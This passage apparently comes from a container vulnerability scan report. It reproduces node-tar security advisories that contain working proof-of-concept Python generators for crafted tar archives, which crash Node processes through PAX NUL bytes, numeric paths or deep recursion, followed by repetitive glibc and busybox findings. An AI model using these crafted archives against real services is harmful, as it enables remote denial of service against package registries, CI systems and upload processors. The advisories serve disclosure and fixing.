out  = hdr(b'PaxHeaders/x', len(pax), b'x') + pad(pax)
out += hdr(b'././@<!-- -->LongLink', 13, b'L') + pad(b'longname.txt\0')
out += hdr(b'file_a', 16, b'0')        + pad(b'AAAA_file_a_body')
out += hdr(b'file_b', 16, b'0')        + pad(b'BBBB_file_b_body')
out += b'\0' * 1024
open('pax-desync.tar', 'wb').write(out)

A negative-control archive is identical except the PAX record is
pax_record('comment', 'x') (no size=), written to pax-control.tar.

End-to-end reproduction (against pinned version tar@<!-- -->7.5.15, latest release)

Install the published package into a clean project and parse both archives:

$ npm init -y >/dev/null && npm install tar@<!-- -->7.5.15
$ node -e "console.log(require('tar/package.json').version)"
7.5.15
$ grep -n "ex?.size ?? gex?.size" node_modules/tar/dist/esm/header.js
49:        this.size = ex?.size ?? gex?.size ?? decNumber(buf, off + 124, 12);

e2e.mjs:

import * as tar from 'tar'
async function listEntries(f){
  const got=[], warns=[]
  await tar.list({ file:f, onReadEntry:e=>{ got.push({path:e.path,size:e.size,type:e.type}); e.resume() },
                   onwarn:(code,_msg)=>warns.push(code) })
  return { got, warns }
}
const mal = await listEntries('pax-desync.tar')
console.log('MALICIOUS entries :', JSON.stringify(mal.got), 'warnings:', JSON.stringify(mal.warns))
const ctl = await listEntries('pax-control.tar')
console.log('CONTROL  entries :', JSON.stringify(ctl.got), 'warnings:', JSON.stringify(ctl.warns))

Verbatim output:

=== Deployed-consumer E2E: npm tar@<!-- -->7.5.15 (latest release) ===

[MALICIOUS] archive = x(PAX size=2048) -> L(GNU longname "longname.txt") -> file_a(16B) -> file_b(16B)
  tar.list() entries : []
  tar.list() warnings: ["TAR_ENTRY_INVALID"]

[NEGATIVE CONTROL] same archive, PAX record is "comment=x" (no size= override)
  tar.list() entries : [{"path":"longname.txt","size":16,"type":"File"},{"path":"file_b","size":16,"type":"File"}]
  tar.list() warnings: []

Reference parsers on the same pax-desync.tar:

$ tar tvf pax-desync.tar
-rw-r--r--  0 0      0        2048 Jan  1  1970 longname.txt          # GNU tar

$ bsdtar tvf pax-desync.tar
-rw-r--r--  0 0      0        2048 Jan  1  1970 longname.txt          # libarchive

$ python3 -c "import tarfile; print([m.name for m in tarfile.open('pax-desync.tar').getmembers()])"
['longname.txt']                                                      # Python tarfile

Interpretation differential: GNU tar, libarchive (bsdtar), and Python tarfile
all extract the member longname.txt from pax-desync.tar, whereas node-tar
7.5.15 desynchronizes, raises TAR_ENTRY_INVALID (checksum failure from
landing mid-stream), and reports zero members. The negative control proves
the divergence is caused solely by the PAX size= override being applied to the
intermediary L header — when the same archive carries a PAX record without
size=, node-tar parses it identically to the reference tools
(longname.txt, file_b).

Suggested fix

When decoding a header, do not apply PAX size (or other PAX overrides) if the
header being decoded is itself an extension header. Concretely, in
src/parse.ts clear/ignore this[EX] (and this[GEX] for size) when the
header's type is ExtendedHeader, GlobalExtendedHeader, NextFileHasLongPath
(GNU L), or NextFileHasLongLinkpath (GNU K); equivalently, in
Header.decode, gate the ex?.size ?? gex?.size override on the decoded type
not being one of those extension types. This mirrors the upstream Rust fix,
which guards pax_size with
is_gnu_longname || is_gnu_longlink || is_pax_local_extensions || is_pax_global_extensions.

A fix PR is being prepared against a private fork and will be linked here.

Fix PR

To be linked from a private fork of the repository (the fix will not be pushed
to any public fork or to upstream during embargo).

Credits

Reported by tonghuaroot.

medium 5.3: GHSA--r292--9mhp--454m Uncontrolled Resource Consumption

Affected range<=7.5.20
Fixed version7.5.21
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Description

Summary

node-tar (npm tar) contains an uncontrolled-recursion stack-exhaustion DoS in the internal mapHas helper used by filesFilter. When a consumer calls tar.t(...) or tar.x(...) with a non-empty member-selection list, node-tar installs a filter that closes over the recursive mapHas (src/list.ts:33-44). mapHas walks an entry path upward one path.dirname() call per recursion with no segment cap. A single crafted tar with a GNU-L (or PAX-x) long-path header can deliver a path of tens of thousands of /-separated segments (up to maxMetaEntrySize = 1 MiB). The recursion overflows the call stack, throwing an uncatchable RangeError that terminates the Node process on async/streaming consumers.

Root Cause

filesFilter (src/list.ts:27-51) is installed whenever a caller passes a member-selection list (src/list.ts:119-122, src/extract.ts:55-57). Its filter is invoked at src/parse.ts:253 (entry.ignore = entry.ignore || !this.filter(entry.path, entry)) inside Parser[CONSUMEHEADER] — and crucially outside the only try/catch in that method (which wraps new Header at src/parse.ts:179-183). mapHas recurses once per path segment with no depth limit. The Unpack maxDepth guard (src/unpack.ts:342, in [CHECKPATH]) only runs on the 'entry' event, which fires after CONSUMEHEADER has already invoked the filter — so the stack overflows before any depth guard executes. tar.t (list) has no maxDepth at all.

Impact

Unauthenticated, remotely-triggerable denial of service: a ~188-byte gzip (≈26 KB tar) crashes any service that lists or extracts selected members from an untrusted archive (package registries, CI artifact/cache restore, upload processors). On async (await tar.t(...)/tar.x(...)) and streaming/pipe consumers the RangeError escapes the promise as an uncaughtException and terminates the process — standard defensive try/catch around the async call does NOT prevent it. (The synchronous API is catchable; the async/stream paths — the dominant server pattern — are not.)

Proof of Concept

// Build a tar whose single entry has a GNU-L long path of ~12,000 "a/" segments (~26 KB),
// gzip it (≈188 bytes), then have a consumer list/extract with member selection:
const tar = require('tar');
await tar.t({ file: 'evil.tar.gz', gzip: true }, ['some-member']); // -> RangeError, process exit

Empirically reproduced on Node v24.18.0 against built dist/commonjs of node-tar 7.5.20: 188-byte gzip → 26,112-byte tar (12,000 segments) → uncaught RangeError: Maximum call stack size exceeded → process exit. A control run with no member-selection list (filter not installed) parses cleanly (exit 0), isolating mapHas as the sole cause.

Attack Chain

  1. Entry. Attacker crafts a tar with a GNU L (or PAX x) long-path header whose body is "a/"×~12000 (~26 KB), followed by a normal file entry.
    • Guard: maxMetaEntrySize caps the meta body at 1 MiB (src/parse.ts:241).
    • Bypass proof: 26 KB ≪ 1 MiB → accepted (verified: 26 KB archive parsed up to the filter).
  2. Trigger. Victim service calls tar.t({file},[sel]) or tar.x({file,cwd},[sel]) (member selection — a documented, common API).
    • Guard: Unpack.maxDepth (default 1024) at src/unpack.ts:342; decompression-ratio guard.
    • Bypass proof: maxDepth lives in [CHECKPATH] on the 'entry' event, which fires after CONSUMEHEADER's filter call — the crash occurs before it (extract exits 1 with default maxDepth). tar.t has no maxDepth. Ratio is ~139× (trivial); no total-bytes cap applies to the uncompressed meta body.
  3. Sink. this.filter(entry.path) → mapHas recurses once per / segment (src/list.ts:39).
    • Guard: try/catch in CONSUMEHEADER.
    • Bypass proof: the only try/catch wraps new Header (src/parse.ts:179-183); the this.filter(...) call at src/parse.ts:253 is outside it. The RangeError propagates out of the stream write/'data' path → uncaught exception (verified: process.on('uncaughtException') fires; async await+try/catch does NOT intercept).
  4. Impact. Node process termination; a 188-byte gzip crashes any consumer that lists/extracts selected members from untrusted archives.

Bypass Evidence

  • mapHas recursion is member-name-independent: the crash fires even when the requested members do not match the malicious entry path — the attacker only needs the consumer to use member selection.
  • Standalone mapHas overflows at 20k–30k segments; on the real streaming path (atop write → CONSUMECHUNK → CONSUMEHEADER → filter) it crashes at ≤8k segments (finder's ~12k estimate is accurate for the reachable path).
  • Control (no member list → no filter) parses cleanly (exit 0), isolating mapHas.

Affected Versions

<= 7.5.20 (npm tar). mapHas present verbatim on tag v7.5.20 (latest GitHub release and npm dist-tag latest); no segment/depth cap in src/list.ts or the CONSUMEHEADER filter path; HEAD == 7.5.20, no unreleased fix.

Suggested Fix

Rewrite mapHas iteratively (walk dirname in a while loop with a segment/visited cap), or enforce a hard path-segment limit in Header/Parser independent of maxMetaEntrySize, applied before any per-entry filter runs.

Dedup Note

Distinct from CVE-2024-28863 / GHSA-f5x3-32g6-qm9j "lack of folders depth validation" (that bounds mkdir recursion during extraction via maxDepth in Unpack[CHECKPATH] on the 'entry' event — a different sink, code path, and fix; runs after the filter and does not apply to tar.t). Also distinct from the PAX NUL/numeric-path crash advisories (improper-input-to-fs / type confusion, not recursion) and the gzip-bomb advisory (resource exhaustion on disk writes). None touch list.ts/filesFilter/mapHas or require member selection.


Reported by zx (Jace) — GitHub: @manus-use

medium 5.3: CVE--2026--59875 Uncaught Exception

Affected range<=7.5.16
Fixed version7.5.17
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.292%
EPSS Percentile21st percentile
Description

Summary

node-tar strips trailing NUL bytes from long-name (L) and long-linkpath (K) GNU extended headers but does not apply the same sanitization to equivalent fields delivered via PAX (x typeflag) extended headers. A PAX record of the form path=visible.txt\x00hidden.txt is parsed verbatim into entry.path and flows into fs.lstat() / fs.open(), which Node.js core rejects with ERR_INVALID_ARG_VALUE. The throw originates inside an FSReqCallback async chain that is not wrapped by the consumer's await/try-catch around tar.x() — it surfaces as uncaughtException and terminates the process.

This is a remote denial-of-service primitive against any process that extracts attacker-supplied tarballs through tar.x / tar.extract / tar.t / tar.Parser, even when the consumer follows the documented try/catch error-handling pattern.

A secondary parser-differential (CWE-436) exists because tar(1), bsdtar, and Python tarfile truncate the path at the first NUL (yielding visible.txt) while node-tar retains the full string. A validator that pre-scans a tarball with one tool and extracts with the other is bypassed.


Root cause

Vulnerable sink — src/pax.ts:157-183

PAX KV records flow through parseKVLine. The value half (v) is assigned directly to the result object with no sanitization for embedded NUL bytes:

// src/pax.ts:157
const parseKVLine = (set: Record<string, unknown>, line: string) => {
  const n = parseInt(line, 10)
  if (n !== Buffer.byteLength(line) + 1) return set
  line = line.slice((n + ' ').length)
  const kv = line.split('=')
  const r = kv.shift()
  if (!r) return set
  const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1')
  const v = kv.join('=')                                 // <-- NO NUL STRIP
  set[k] =
    /^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ?
      new Date(Number(v) * 1000)
    : /^[0-9]+$/.test(v) ? +v
    : v                                                  // <-- v with NULs lands here
  return set
}

The PAX record body is length-prefixed, so the parser knows the exact byte boundary — but it never checks whether the value half between = and \n contains NUL. The result is consumed by Header / ReadEntry, where entry.path and entry.linkpath carry the embedded NUL all the way to fs.lstat().

Correctly-patched cousin sink — src/parse.ts:375-388

The equivalent code path for GNU L/K long-headers does strip NUL bytes:

// src/parse.ts:375
case 'NextFileHasLongPath':
case 'OldGnuLongPath': {
  const ex = this[EX] ?? Object.create(null)
  this[EX] = ex
  ex.path = this[META].replace(/\0.*/, '')               // <-- NUL strip applied
  break
}
case 'NextFileHasLongLinkpath': {
  const ex = this[EX] || Object.create(null)
  this[EX] = ex
  ex.linkpath = this[META].replace(/\0.*/, '')           // <-- NUL strip applied
  break
}

The parse.ts fix is the maintainer's own acknowledgement that path strings on this codepath must be NUL-stripped before reaching fs.*. The PAX path produces the identical primitive but bypasses the guard.

Downstream blast radius

entry.path and entry.linkpath are consumed in:

  • src/unpack.ts → fs.lstat, fs.open, fs.symlink, fs.link, fs.mkdir
  • src/list.ts (no crash — listing tolerates NUL in strings)
  • Any consumer of the ReadEntry event that calls path.join() / fs.* on entry.path

The crash fires inside the FSReqCallback Node-internal async machinery, outside the user's await tar.x(...) Promise rejection boundary.


Proof of Concept

Artifacts

  • poc-null-byte-crash.tar — 3072 bytes — PAX path=visible.txt\x00hidden.txt
  • poc-null-linkpath-crash.tar — 2560 bytes — PAX linkpath=target\x00garbage (symlink target sink)
  • poc1-pax-prefix.py — minimal PAX-header builder (Python 3, no deps)

Tarball generator (minimal repro — Python 3)

#!/usr/bin/env python3
"""Minimal PAX-NUL-injection tarball generator for node-tar PoC."""
import os

def cksum(b):
    s = 0
    for i, x in enumerate(b):
        s += 0x20 if 148 <= i < 156 else x
    return s

def pad512(buf):
    rem = len(buf) % 512
    return buf + b'\0' * (512 - rem) if rem else buf

def hdr(name, size, typeflag, prefix=b'', linkpath=b''):
    b = bytearray(512)
    b[0:len(name[:100])] = name[:100]
    b[100:108] = b'0000644\0'
    b[108:116] = b'0001000\0'
    b[116:124] = b'0001000\0'
    b[124:136] = ('%011o ' % size).encode()
    b[136:148] = ('%011o ' % 0).encode()
    b[148:156] = b'        '
    b[156:157] = typeflag
    b[157:157+len(linkpath[:100])] = linkpath[:100]
    b[257:265] = b'ustar\x0000'
    b[265:270] = b'root\0'
    b[297:302] = b'root\0'
    b[329:337] = b'0000000\0'
    b[337:345] = b'0000000\0'
    b[345:345+len(prefix[:155])] = prefix[:155]
    s = cksum(b)
    b[148:156] = ('%06o\0 ' % s).encode()
    return bytes(b)

def pax(records):
    body = b''
    for k, v in records:
        kv = b' ' + k + b'=' + v + b'\n'
        for digits in range(1, 8):
            total = digits + len(kv)
            if len(str(total)) == digits:
                break
        body += str(total).encode() + kv
    return pad512(hdr(b'PaxHeader/poc', len(body), b'x') + body)

out  = pax([(b'path', b'visible.txt\x00hidden.txt')])  # NUL in PAX path
out += hdr(b'placeholder', 1, b'0')
out += pad512(b'A')
out += b'\0' * 1024  # end-of-archive

open('poc.tar', 'wb').write(out)

Reproduction

# 1. Generate tarball
python3 poc1-pax-prefix.py          # writes poc.tar (3 KB)

# 2. Install vulnerable version
mkdir repro && cd repro
npm init -y && npm install tar@<!-- -->7.5.16

# 3. Try to extract with documented try/catch — observe uncaught exception
mkdir -p ./out
node --input-type=module -e '
  process.on("uncaughtException", e => {
    console.log("UNCAUGHT:", e.code, "-", e.message);
    process.exit(99);
  });
  import("tar").then(async tar => {
    try {
      await tar.x({ file: "../poc.tar", cwd: "./out" });
      console.log("NORMAL_RETURN");
    } catch (e) {
      console.log("CAUGHT_BY_USER:", e.code);
    }
  });'

Observed output (verified 2026-06-23 against tar@<!-- -->7.5.16)

UNCAUGHT: ERR_INVALID_ARG_VALUE - The argument 'path' must be a string,
Uint8Array, or URL without null bytes.
Received '/.../out/visible.txt\x00hidden.txt'
exit: 99

The exception bypasses the user's try { await tar.x(...) } catch (e) { ... } block and lands in the global uncaughtException handler. In a typical server without that handler, the process exits.


Impact

Direct: remote DoS

Any service that ingests attacker-supplied tarballs via node-tar inherits a one-tarball-kills-the-process primitive. Realistic deployments where this is reachable without user interaction:

  • npm registry tarball ingestion and downstream mirrors
  • GitHub Actions cache restore (actions/cache, actions/setup-* extracting toolchains)
  • Container image build pipelines that unpack layer tarballs through node tooling
  • Backup-restore services accepting user uploads
  • CI artifact processors and badge generators
  • Static-site / Docusaurus / Next.js build runners that fetch and extract dep tarballs
  • Cloud functions that auto-extract uploaded archives

A correctly-coded consumer that does:

try {
  await tar.x({ file: req.upload.path, cwd: tmpdir });
} catch (e) {
  return res.status(400).json({ error: 'bad archive' });
}

does not catch this throw. The Node process dies and (depending on the supervisor) the worker may take time to respawn or never respawn if it dies during boot.

Secondary: parser-differential validator bypass (CWE-436)

Tool Result for path=visible.txt\x00hidden.txt
GNU tar (tar -tvf) Lists visible.txt (truncated at NUL)
bsdtar -tvf Lists visible.txt (truncated at NUL)
Python tarfile.list() Lists visible.txt\x00hidden.txt (raw)
node-tar tar.t({file}) Emits raw NUL-bearing path (no crash)
node-tar tar.x({file}) Crashes (uncaught throw)

A pre-flight validator using GNU tar or bsdtar will see a benign filename; the subsequent node-tar extraction blows up. This is exploitable against any architecture that lists-and-validates-then-extracts.


Suggested patch

Match the long-name handler in parse.ts — strip everything from the first NUL onward in parseKVLine value parsing:

--- a/src/pax.ts
+++ b/src/pax.ts
@@ -173,7 +173,7 @@ const parseKVLine = (set: Record<string, unknown>, line: string) => {

   const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1')

-  const v = kv.join('=')
+  const v = kv.join('=').replace(/\0.*$/, '')
   set[k] =
     /^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ?
       new Date(Number(v) * 1000)

This matches src/parse.ts:379 and src/parse.ts:386 and closes both path and linkpath sinks in one change.

A defense-in-depth follow-up: add an explicit assert(!v.includes('\0')) (or fail-soft return set) at the top of parseKVLine so malformed PAX records that aren't path/linkpath also can't smuggle NUL into other unanticipated consumers (e.g. third-party readers of entry.header.atime Date objects constructed from Number(v) where v had embedded NUL).

medium 5.3: CVE--2026--59871 Incorrect Type Conversion or Cast

Affected range<=7.5.17
Fixed version7.5.18
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.410%
EPSS Percentile34th percentile
Description

Summary

A crafted 2.5KB tar archive crashes any Node.js process that extracts it. The PAX header parser coerces all-digit path values to JavaScript numbers, which causes an uncaught TypeError when downstream code calls .split('/') on the numeric value. Error handlers and strict: false cannot intercept the crash.

Details

In pax.ts line 180, parseKV converts PAX values matching /^[0-9]+$/ to numbers via +v. This applies to all fields including path and linkpath. When a PAX header sets path to an all-digit string like "12345", the value becomes the number 12345.

This number flows through Header -> ReadEntry -> Unpack.CHECKPATH, where normalizeWindowsPath(entry.path).split('/') throws a TypeError because numbers don't have .split().

The throw is synchronous during event emission and bypasses all error handling:

  • strict: false does not help
  • 'error' event handlers do not catch it
  • 'warn' handlers do not catch it
  • The TypeError propagates through the event emitter stack as an uncaughtException

Directory, SymbolicLink, and Link type entries reach CHECKPATH and crash. File type entries crash earlier in Header constructor at this.path.slice(-1), but that throw is caught and emitted as a warning only.

PoC

Create a tar archive with a PAX extended header containing an all-digit path:

PAX header body: "18 path=12345\n"
Entry type: Directory (type '5')

Extract it:

const tar = require('tar');

// All of these crash with TypeError: t.split is not a function
tar.extract({ file: 'malicious.tar', cwd: '/tmp/test' });

// Error handlers don't help:
tar.extract({ file: 'malicious.tar', cwd: '/tmp/test', strict: false })
  .on('error', (err) => { /* never reached */ })
  .on('warn', (code, msg) => { /* never reached */ });

The archive is ~2.5KB. The crash is deterministic on every attempt.

Impact

Denial of service. Any application or tool that extracts untrusted tar archives crashes from a single small file. This includes npm (which uses node-tar to extract packages), CI/CD pipelines, file upload processors, and backup tools. The crash cannot be caught by application-level error handling.

critical: 1 high: 1 medium: 0 low: 0 unspecified: 1libcrypt1 2.43-r6 (apk)

pkg:apk/wolfi/libcrypt1@2.43-r6?arch=x86_64&distro=wolfi-20230201&upstream=glibc

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

critical : CVE--2026--5450

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.502%
EPSS Percentile40th percentile
Description

high : CVE--2026--5928

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.369%
EPSS Percentile30th percentile
Description

unspecified : CGA--cpvj--jqq5--26qx

Affected range<2.43-r10
Fixed version2.43-r10
Description
critical: 1 high: 1 medium: 0 low: 0 unspecified: 1glibc 2.43-r6 (apk)

pkg:apk/wolfi/glibc@2.43-r6?arch=x86_64&origin=glibc

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

critical : CVE--2026--5450

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.502%
EPSS Percentile40th percentile
Description

high : CVE--2026--5928

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.369%
EPSS Percentile30th percentile
Description

unspecified : CGA--cpvj--jqq5--26qx

Affected range<2.43-r10
Fixed version2.43-r10
Description
critical: 1 high: 1 medium: 0 low: 0 unspecified: 1glibc 2.43-r6 (apk)

pkg:apk/wolfi/glibc@2.43-r6?arch=x86_64&distro=wolfi

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

critical : CVE--2026--5450

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.502%
EPSS Percentile40th percentile
Description

high : CVE--2026--5928

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.369%
EPSS Percentile30th percentile
Description

unspecified : CGA--cpvj--jqq5--26qx

Affected range<2.43-r10
Fixed version2.43-r10
Description
critical: 1 high: 1 medium: 0 low: 0 ld-linux 2.43-r6 (apk)

pkg:apk/wolfi/ld-linux@2.43-r6?arch=x86_64&distro=wolfi

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

critical : CVE--2026--5450

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.502%
EPSS Percentile40th percentile
Description

high : CVE--2026--5928

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.369%
EPSS Percentile30th percentile
Description
critical: 1 high: 1 medium: 0 low: 0 glibc-locale-posix 2.43-r6 (apk)

pkg:apk/wolfi/glibc-locale-posix@2.43-r6?arch=x86_64&distro=wolfi-20230201&upstream=glibc

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

critical : CVE--2026--5450

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.502%
EPSS Percentile40th percentile
Description

high : CVE--2026--5928

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.369%
EPSS Percentile30th percentile
Description
critical: 1 high: 1 medium: 0 low: 0 libcrypt1 2.43-r6 (apk)

pkg:apk/wolfi/libcrypt1@2.43-r6?arch=x86_64&origin=glibc

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

critical : CVE--2026--5450

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.502%
EPSS Percentile40th percentile
Description

high : CVE--2026--5928

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.369%
EPSS Percentile30th percentile
Description
critical: 1 high: 1 medium: 0 low: 0 ld-linux 2.43-r6 (apk)

pkg:apk/wolfi/ld-linux@2.43-r6?arch=x86_64&origin=glibc

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

critical : CVE--2026--5450

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.502%
EPSS Percentile40th percentile
Description

high : CVE--2026--5928

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.369%
EPSS Percentile30th percentile
Description
critical: 1 high: 1 medium: 0 low: 0 glibc-locale-posix 2.43-r6 (apk)

pkg:apk/wolfi/glibc-locale-posix@2.43-r6?arch=x86_64&origin=glibc

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

critical : CVE--2026--5450

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.502%
EPSS Percentile40th percentile
Description

high : CVE--2026--5928

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.369%
EPSS Percentile30th percentile
Description
critical: 1 high: 1 medium: 0 low: 0 libcrypt1 2.43-r6 (apk)

pkg:apk/wolfi/libcrypt1@2.43-r6?arch=x86_64&distro=wolfi

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

critical : CVE--2026--5450

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.502%
EPSS Percentile40th percentile
Description

high : CVE--2026--5928

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.369%
EPSS Percentile30th percentile
Description
critical: 1 high: 1 medium: 0 low: 0 glibc-locale-posix 2.43-r6 (apk)

pkg:apk/wolfi/glibc-locale-posix@2.43-r6?arch=x86_64&distro=wolfi

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

critical : CVE--2026--5450

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.502%
EPSS Percentile40th percentile
Description

high : CVE--2026--5928

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.369%
EPSS Percentile30th percentile
Description
critical: 1 high: 1 medium: 0 low: 0 ld-linux 2.43-r6 (apk)

pkg:apk/wolfi/ld-linux@2.43-r6?arch=x86_64&distro=wolfi-20230201&upstream=glibc

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

critical : CVE--2026--5450

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.502%
EPSS Percentile40th percentile
Description

high : CVE--2026--5928

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.369%
EPSS Percentile30th percentile
Description
critical: 0 high: 3 medium: 0 low: 0 busybox 1.37.0-r57 (apk)

pkg:apk/wolfi/busybox@1.37.0-r57?arch=x86_64&distro=wolfi

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

